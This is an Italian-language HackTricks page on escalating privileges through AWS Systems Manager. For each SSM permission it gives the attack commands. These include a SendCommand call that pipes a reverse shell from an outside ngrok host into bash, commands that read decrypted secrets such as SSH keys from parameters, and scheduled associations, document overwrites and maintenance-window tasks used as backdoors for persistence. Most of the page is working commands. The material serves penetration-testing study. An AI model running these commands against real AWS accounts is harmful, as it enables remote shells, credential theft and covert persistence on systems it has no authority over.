AWS - SSM Privesc

Tip

Impara & pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara & pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Impara & pratica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Sostieni HackTricks

SSM

Per ulteriori informazioni su SSM, controlla:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

ssm:SendCommand

Un attacker con il permesso ssm:SendCommand può eseguire comandi nelle instances che eseguono Amazon SSM Agent e compromettere l’IAM Role in esecuzione al loro interno.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"

Nel caso in cui tu stia usando questa tecnica per escalare i privilegi all’interno di un’istanza EC2 già compromessa, potresti semplicemente catturare la rev shell localmente con:

# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"

Impatto potenziale: privesc diretta ai ruoli IAM EC2 associati alle istanze in esecuzione con SSM Agents in esecuzione.

ssm:StartSession

Un attaccante con il permesso ssm:StartSession può avviare una sessione simile a SSH nelle istanze che eseguono Amazon SSM Agent e compromettere il IAM Role in esecuzione al loro interno.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"

Caution

Per avviare una sessione devi avere installato SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

Potential Impact: Direct privesc to the EC2 IAM roles attached to running instances with SSM Agents running.

Privesc to ECS

Quando i ECS tasks vengono eseguiti con ExecuteCommand enabled, gli utenti con permessi sufficienti possono usare ecs execute-command per eseguire un comando all’interno del container.
Secondo the documentation questo viene fatto creando un canale sicuro tra il dispositivo che usi per avviare il comando “exec“ e il container target con SSM Session Manager. (SSM Session Manager Plugin necesary for this to work)
Di conseguenza, gli utenti con ssm:StartSession potranno ottenere una shell dentro i ECS tasks con quell’opzione abilitata semplicemente eseguendo:

aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"

Potential Impact: Direct privesc to the ECSIAM roles attached to running tasks with ExecuteCommand enabled.

ssm:ResumeSession

Un attacker con il permesso ssm:ResumeSession può ri-avviare una sessione simile a SSH nelle istanze che eseguono Amazon SSM Agent con uno stato di sessione SSM disconnesso e compromettere l’IAM Role in esecuzione al suo interno.

# Check for configured instances
aws ssm describe-sessions

# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5

Potenziale impatto: privesc diretto ai ruoli IAM EC2 collegati alle istanze in esecuzione con SSM Agents in esecuzione e sessioni disconnesse.

ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)

Un attacker con i permessi menzionati sarĂ  in grado di elencare i parametri SSM e leggerli in clear-text. In questi parametri spesso puoi trovare informazioni sensibili come chiavi SSH o API keys.

aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption

Impatto Potenziale: Trovare informazioni sensibili all’interno dei parametri.

ssm:ListCommands

Un attacker con questo permission può elencare tutti i commands inviati e, con un po’ di fortuna, trovare sensitive information su di essi.

aws ssm list-commands

Impatto Potenziale: Trovare informazioni sensibili all’interno delle command lines.

ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)

Un attaccante con questi permessi può elencare tutti i commands inviati e leggere l’output generato, auspicabilmente trovando informazioni sensibili al suo interno.

# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations

aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>

Impatto Potenziale: Trovare informazioni sensibili all’interno dell’output delle command lines.

Using ssm:CreateAssociation

Un attaccante con il permesso ssm:CreateAssociation può creare una State Manager Association per eseguire automaticamente comandi sulle istanze EC2 gestite da SSM. Queste association possono essere configurate per essere eseguite a intervalli fissi, rendendole adatte a una persistenza simile a una backdoor senza sessioni interattive.

aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name

Note

Questo metodo di persistence funziona finché l’istanza EC2 è gestita da Systems Manager, l’SSM agent è in esecuzione e l’attaccante ha il permesso di creare associations. Non richiede sessioni interattive né permessi espliciti ssm:SendCommand. Importante: il parametro --schedule-expression (ad es. rate(30 minutes)) deve rispettare l’intervallo minimo di 30 minuti di AWS. Per l’esecuzione immediata o una tantum, ometti completamente --schedule-expression — l’association verrà eseguita una sola volta dopo la creazione.

ssm:UpdateDocument, ssm:UpdateDocumentDefaultVersion, (ssm:ListDocuments | ssm:GetDocument)

Un attaccante con i permessi ssm:UpdateDocument e ssm:UpdateDocumentDefaultVersion può elevare i privilegi modificando documenti esistenti. Questo consente anche la persistence all’interno di quel documento. In pratica, l’attaccante avrebbe bisogno anche di ssm:ListDocuments per ottenere i nomi dei custom documents e, se vuole offuscare il proprio payload all’interno di un documento esistente, sarebbe necessario anche ssm:GetDocument.

aws ssm list-documents
aws ssm get-document --name "target-document" --document-format YAML
# You will need to specify the version you're updating
aws ssm update-document \
--name "target-document" \
--document-format YAML \
--content "file://doc.yaml" \
--document-version 1
aws ssm update-document-default-version --name "target-document" --document-version 2

Below is an example document that can be used to overwrite and existing document. You will want to ensure your document type matches the target documents type to issues with innvocation. The document below for instance will the ssm:SendCommand and ssm:CreateAssociation examples.

schemaVersion: '2.2'
description: Execute commands on a Linux instance.
parameters:
commands:
type: StringList
description: "The commands to run."
displayType: textarea
mainSteps:
- action: aws:runShellScript
name: runCommands
inputs:
runCommand:
- "id > /tmp/pwn_test.txt"

ssm:RegisterTaskWithMaintenanceWindow, ssm:RegisterTargetWithMaintenanceWindow, (ssm:DescribeMaintenanceWindows | ec2:DescribeInstances)

Un attacker con i permessi ssm:RegisterTaskWithMaintenanceWindow e ssm:RegisterTargetWithMaintenanceWindow può eseguire privilege escalation registrando prima un nuovo target con una maintenance window esistente e poi aggiornando registrando un nuovo task. Questo consente l’esecuzione sugli target esistenti, ma può permettere a un attacker di compromettere compute con ruoli diversi registrando nuovi target. Questo consente anche persistence, poiché i task delle maintenance windows vengono eseguiti a un intervallo predefinito durante la creazione della window. In pratica, l’attacker avrebbe anche bisogno di ssm:DescribeMaintenanceWindows per ottenere gli ID delle maintenance window.

aws ec2 describe-instances
aws ssm describe-maintenance-window
aws ssm register-target-with-maintenance-window \
--window-id "<mw-id>" \
--resource-type "INSTANCE" \
--targets "Key=InstanceIds,Values=<instance_id>"
aws ssm register-task-with-maintenance-window \
--window-id "<mw-id>" \
--task-arn "AWS-RunShellScript" \
--task-type "RUN_COMMAND" \
--targets "Key=WindowTargetIds,Values=<target_id>" \
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
--max-concurrency 50 \
--max-errors 100

Codebuild

Puoi anche usare SSM per entrare dentro un progetto codebuild in fase di build:

AWS - Codebuild Privesc

Tip

Impara & pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara & pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Impara & pratica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Sostieni HackTricks